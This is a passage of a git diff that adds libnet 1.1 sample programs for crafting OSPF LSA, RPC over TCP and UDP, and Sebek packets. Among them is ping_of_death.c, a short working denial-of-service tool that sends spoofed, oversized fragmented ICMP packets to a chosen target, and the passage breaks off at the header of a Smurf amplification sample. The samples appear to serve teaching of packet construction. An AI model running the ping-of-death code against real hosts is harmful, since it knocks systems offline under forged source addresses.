exit(EXIT_SUCCESS); +} diff --git a/libnet/sample/ospf_lsa.c b/libnet/sample/ospf_lsa.c new file mode 100644 index 0000000..aa08283 --- /dev/null +++ b/libnet/sample/ospf_lsa.c @@ -0,0 +1,190 @@ +/* + * $Id: ospf_lsa.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an OSPF LSA packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_long src, dst; + u_char auth[8] = {0,0,0,0,0,0,0,0}; + char *from, *to, errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 OSPF LSA packet shaping[raw]\n"); + + if (argc != 3) + { + usage(argv[0]); + } + + from = argv[1]; + to = argv[2]; + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + /* Too lazy to check for error */ + src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE); + dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE); + + t = libnet_build_ospfv2_lsa_net( + 0xffffff00, /* netmask */ + 0xc0ffee00, /* router id */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build LSA net header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ospfv2_lsa( + 40, /* packet age */ + 0, /* options */ + LIBNET_LS_TYPE_NET, /* type */ + htonl(0xc0ffee00), /* LS id */ + src, /* ad router */ + 0x11111111, /* seq */ + 0xffff, /* checksum */ + LIBNET_OSPF_LS_NET_H + LIBNET_OSPF_LSA_H, /* packet length */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build LSA header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* authentication data */ + t = libnet_build_data( + auth, /* auth data */ + LIBNET_OSPF_AUTH_H, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build OSPF AUTH header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ospfv2( + LIBNET_OSPF_LSA_H + LIBNET_OSPF_AUTH_H + + LIBNET_OSPF_LS_NET_H, /* OSPF packet length */ + LIBNET_OSPF_LSA, /* OSPF packet type */ + htonl(0xd000000d), /* router id */ + htonl(0xc0ffee00), /* area id */ + 0, /* checksum */ + LIBNET_OSPF_AUTH_NULL, /* auth type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_AUTH_H + + LIBNET_OSPF_LSA_H + LIBNET_OSPF_LS_NET_H, /* packet total length */ + 0, /* TOS */ + 101, /* IP iD */ + IP_DF, /* IP frag */ + 254, /* TTL */ + IPPROTO_OSPF, /* protocol */ + 0, /* checksum */ + src, /* source IP */ + dst, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", +c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *pname) +{ + printf("Usage: %s <source ip> <dest. ip>\n", pname); + exit(0); +} diff --git a/libnet/sample/ping_of_death.c b/libnet/sample/ping_of_death.c new file mode 100644 index 0000000..b71cb05 --- /dev/null +++ b/libnet/sample/ping_of_death.c @@ -0,0 +1,171 @@ +/* + * $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * ICMP ping of death attack + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1999 - 2001 Dug Song <dugsong@monkey.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +#define FRAG_LEN 1472 + +int +main(int argc, char **argv) +{ + libnet_t *l; + libnet_ptag_t ip; + libnet_ptag_t icmp; + struct libnet_stats ls; + u_long fakesrc, target; + u_char *data; + int c, i, flags, offset, len; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 Ping of Death[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s\n", errbuf); + exit(EXIT_FAILURE); + } + + if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE) == -1))) + { + fprintf(stderr, "Usage: %s <target>\n", argv[0]); + exit(EXIT_FAILURE); + } + + /* get random src addr. */ + libnet_seed_prand(l); + fakesrc = libnet_get_prand(LIBNET_PRu32); + + data = malloc(FRAG_LEN); + for (i = 0 ; i < FRAG_LEN ; i++) + { + /* fill it with something */ + data[i] = 0x3a; + } + + ip = LIBNET_PTAG_INITIALIZER; + icmp = LIBNET_PTAG_INITIALIZER; + + for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN)) + { + offset = i; + flags = 0; + + if (offset < 65120) + { + flags = IP_MF; + len = FRAG_LEN; + } + else + { + /* for a total reconstructed length of 65538 bytes */ + len = 410; + } + + icmp = libnet_build_icmpv4_echo( + ICMP_ECHO, /* type */ + 0, /* code */ + 0, /* checksum */ + 666, /* id */ + 666, /* sequence */ + data, /* payload */ + len, /* payload size */ + l, /* libnet handle */ + icmp); /* libnet ptag */ + if (icmp == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + /* no reason to do this */ + libnet_toggle_checksum(l, icmp, 0); + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */ + 0, /* TOS */ + 666, /* IP ID */ + flags | (offset >> 3), /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + fakesrc, /* source IP */ + target, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + ip); /* libnet ptag */ + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + } + + /* tcpdump-style jonks. */ + printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0), + argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : ""); + } + + libnet_stats(l, &ls); + fprintf(stderr, "Packets sent: %lld\n" + "Packet errors: %lld\n" + "Bytes written: %lld\n", + ls.packets_sent, ls.packet_errors, ls.bytes_written); + libnet_destroy(l); + free(data); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + free(data); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/rpc_tcp.c b/libnet/sample/rpc_tcp.c new file mode 100644 index 0000000..4a19b54 --- /dev/null +++ b/libnet/sample/rpc_tcp.c @@ -0,0 +1,214 @@ +/* + * $Id: rpc_tcp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * rpc_tcp.c - Build an RPC TCP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: RPC TCP[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + } + } + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_rpc_call( + LIBNET_RPC_LAST_FRAG | LIBNET_RPC_CALL_TCP_H, + 0x10e70082, + LIBNET_PMAP_PROGRAM, + 2, + LIBNET_PMAP_PROC_DUMP, + 0, + 0, + NULL, + 0, + 0, + NULL, + payload, + payload_s, + l, + 0); + if (t == -1) + { + fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_ACK, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + 44 + payload_s, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + 44 + payload_s,/* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte RPC TCP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/rpc_udp.c b/libnet/sample/rpc_udp.c new file mode 100644 index 0000000..06f4b26 --- /dev/null +++ b/libnet/sample/rpc_udp.c @@ -0,0 +1,213 @@ +/* + * $Id: rpc_udp.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an RPC UDP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + libnet_ptag_t ip; + libnet_ptag_t udp; + char *payload; + u_short payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: RPC + UDP + IP options[raw]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s\n", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + udp = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_rpc_call( + 0, + 0x10e70082, + 0x000186a0, + 2, + 4, + 0, + 0, + NULL, + 0, + 0, + NULL, + payload, + payload_s, + l, + 0); + if (t == -1) + { + fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l)); + goto bad; + } + + udp = libnet_build_udp( + src_prt, /* source port */ + dst_prt, /* destination port */ + LIBNET_UDP_H + 40 +payload_s, /* packet length */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + udp); /* libnet id */ + if (udp == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ip = libnet_build_ipv4( + LIBNET_IPV4_H + 40 + payload_s + LIBNET_UDP_H, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, + dst_ip, + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (ip == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte RPC UDP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} +/* EOF */ diff --git a/libnet/sample/sebek.c b/libnet/sample/sebek.c new file mode 100644 index 0000000..de1674b --- /dev/null +++ b/libnet/sample/sebek.c @@ -0,0 +1,299 @@ +/* + * + * libnet 1.1 + * Build a Sebek packet + * + * Copyright (c) 2004 Frederic Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#if ((_WIN32) && !(__CYGWIN__)) +#include "../include/win32/config.h" +#else +#include "../include/config.h" +#endif +#endif +#include "./libnet_test.h" + +void usage(char *name) +{ + fprintf(stderr, + "usage: %s [-D eth_dst] [-s source_ip] [-d destination_ip]" + "[-u UDP port] [-m magic] [-v version] [-t type] [-S sec] [-U usec] [-P PID] [-I UID] [-f FD] [-c cmd]" + " [-i iface] [-p payload]\n", + name); + +} + + +int +main(int argc, char *argv[]) +{ + int c, port = 1101; + libnet_t *l; + char *device = NULL; + char *eth_dst = "11:11:11:11:11:11"; + char *dst = "2.2.2.2", *src = "1.1.1.1"; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + libnet_ptag_t ptag = 0; + u_char *payload = 0; + char payload_flag = 0; + u_long payload_s = 0; + unsigned int magic = 0x0defaced, + counter = 0x12345678, + sec = 0, usec = 0, + pid = 1, + uid = 666, + fd = 2; + char *cmd = "./h4ckw0r1D"; + unsigned int length = strlen(cmd)+1; + unsigned short version = SEBEK_PROTO_VERSION, type = SEBEK_TYPE_READ; + + printf("libnet 1.1 packet shaping: Sebek[link]\n"); + + + /* + * handle options + */ + while ((c = getopt(argc, argv, "D:d:s:u:m:v:t:S:U:P:I:f:c:p:i:h")) != EOF) + { + switch (c) + { + case 'D': + eth_dst = optarg; + break; + case 'd': + dst = optarg; + break; + + case 's': + src = optarg; + break; + + case 'i': + device = optarg; + break; + + case 'u': + port = atoi(optarg); + break; + + case 'm': + magic = strtoul(optarg, NULL, 10); + break; + + case 'v': + version = (unsigned short) strtoul(optarg, NULL, 10); + break; + + case 't': + type = (unsigned short) strtoul(optarg, NULL, 10); + break; + + case 'S': + sec = strtoul(optarg, NULL, 10); + break; + + case 'U': + usec = strtoul(optarg, NULL, 10); + break; + + case 'P': + pid = strtoul(optarg, NULL, 10); + break; + + case 'I': + uid = strtoul(optarg, NULL, 10); + break; + + case 'f': + fd = strtoul(optarg, NULL, 10); + break; + + case 'c': + cmd = optarg; + length = strlen(cmd); + break; + + + case 'p': + payload_flag = 1; + payload = optarg; + payload_s = strlen(payload); + break; + + case 'h': + usage(argv[0]); + exit(EXIT_SUCCESS); + + default: + exit(EXIT_FAILURE); + } + } + + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK_ADV, /* injection type */ + device, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + printf("Using device %s\n", l->device); + + if (payload_flag) + { + memset(cmd, 0, sizeof(cmd)); + memcpy(cmd, payload, (payload_s < 12 ? payload_s : 12)); + length = payload_s; + } + + + if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", dst); + exit(EXIT_FAILURE); + } + + if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", src); + exit(EXIT_FAILURE); + } + + if (!payload) + { + payload = cmd; + payload_s = length; + } + + + ptag = libnet_build_sebek( + magic, + version, + type, + counter, + sec, + usec, + pid, + uid, + fd, + cmd, + /* LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H +*/ length, + payload, + payload_s, + l, + 0 + ); + + if (ptag == -1) + { + fprintf(stderr, "Can't build Sebek header: %s\n", libnet_geterror(l)); + goto bad; + } + + ptag = libnet_build_udp( + port, /* source port */ + port, /* destination port */ + LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s, /* packet length */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + ptag = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s,/* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_UDP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (ptag == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + exit(EXIT_FAILURE); + } + + + eth_dst = libnet_hex_aton(eth_dst, &c); + ptag = libnet_autobuild_ethernet( + eth_dst, /* ethernet destination */ + ETHERTYPE_IP, /* protocol type */ + l); /* libnet handle */ + + free(eth_dst); + if (ptag == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + + + /* + * write to the wire + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte Sebek packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); + bad: + libnet_destroy(l); + return (EXIT_FAILURE); + + return 0; +} diff --git a/libnet/sample/smurf.c b/libnet/sample/smurf.c new file mode 100644 index 0000000..ccaebdc --- /dev/null +++ b/libnet/sample/smurf.c @@ -0,0 +1,194 @@ +/* + * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build Smurf packets + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES 